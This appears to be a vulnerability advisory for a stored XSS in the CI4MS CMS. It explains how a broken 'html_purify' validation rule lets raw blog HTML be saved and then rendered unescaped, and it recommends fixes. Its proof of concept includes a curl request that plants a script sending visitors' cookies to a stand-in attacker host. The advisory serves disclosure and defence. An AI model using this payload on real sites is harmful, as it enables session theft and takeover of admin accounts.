CVE-2026-45138: CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule
Summary The custom htmlpurify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded.
Published May 18, 2026
Affected packages
ci4-cms-erp/ci4ms
- Ecosystem
- Composer (PHP)
- Affected
- <= 0.31.8.0
- Fixed in
- 0.31.9.0
- Check
composer show ci4-cms-erp/ci4ms
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.
Details
Root cause: by-reference mutation never propagates
Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:
// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
if (empty(trim((string)$str))) return true;
if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
$clean = self::sanitizeHtml($str);
$str = $clean; // <-- mutates only the local $value in CI4's validator
self::$cleanCache[md5((string)$str)] = $clean; // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
return true;
}CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:
// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) { // local $value
$this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}
// Validation.php:343-345
$passed = ($param === null)
? $set->{$rule}($value, $error) // <-- $value is the local var
: $set->{$rule}($value, $param, $data, $error, $field);The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).
Sink: raw POST is persisted and rendered unescaped
The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:
// modules/Blog/Controllers/Blog.php:94-125 (Blog::new)
$langsPost = $this->request->getPost('lang'); // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...; // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => $lanData['content'], // <-- raw HTML stored
...
]);
}The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.
The public blog post template echoes the field with no escaping:
// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
<?php echo $infos->content ?>
</section>The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.
Trust boundary
Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.
Same defect in the Pages module
A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.
PoC
Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.
- Submit a blog post with an XSS payload as the content body:
curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
-d 'lang[en][title]=POC' \
-d 'lang[en][seflink]=poc-xss' \
-d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
-d 'isActive=1' \
-d 'categories[]=1' \
-d 'author=1' \
-d 'created_at=01.01.2026 10:00:00' \
-d 'csrf_token_name=<token>'- The validator returns success (
html_purifyreportstrue), and the row is written toblog_langswithcontent=<script>...</script>verbatim.
- Visit the public post URL
https://target/blog/poc-xss. The injected<script>runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.
Independent root-cause verification (run against the local app):
$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.
Impact
- Stored XSS reachable by any account with `blogs.create` or `blogs.update` (delegated content-editor permission), executed in the browser of:
- every anonymous public visitor that loads the affected blog post,
- the superadmin and other backend reviewers when they open or preview the post.
- Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
- Because the same broken
html_purifyrule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable throughPages::create/Pages::updatevia the same primitive — i.e., this is a project-wide regression of an already-published advisory. - The
getClean()cache fallback intended as a backstop is also non-functional (key mismatch betweenmd5(clean)writer andmd5(original)reader).
Recommended Fix
- Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after
validate()and before persisting.
Minimal, immediate fix in the Blog controller — apply to both new and edit:
// modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201)
use Modules\Backend\Validation\CustomRules;
...
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
'seo' => !empty($seoData) ? $seoData : '',
]);Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).
- Fix the cache key bug so
getClean()actually works as a defense-in-depth backstop:
// modules/Backend/Validation/CustomRules.php
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
if (empty(trim((string)$str))) return true;
if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
$original = (string)$str;
$clean = self::sanitizeHtml($original);
self::$cleanCache[md5($original)] = $clean; // key on ORIGINAL, before reassignment
$str = $clean; // best-effort; CI4 will drop this
return true;
}- Document explicitly in
CustomRulesthathtml_purifyis *not* a sanitizer — it returnstrueunconditionally on any HTMLPurifier-installed environment — and that callers MUST useCustomRules::sanitizeHtml(...)(orCustomRules::getClean($original)after the cache fix) on$_POSTdata before storage.
- Defense in depth: escape
$infos->contentat output where feasible (e.g.,app/Views/templates/default/blog/post.php:51), or pipe the stored value throughCustomRules::sanitizeHtml()on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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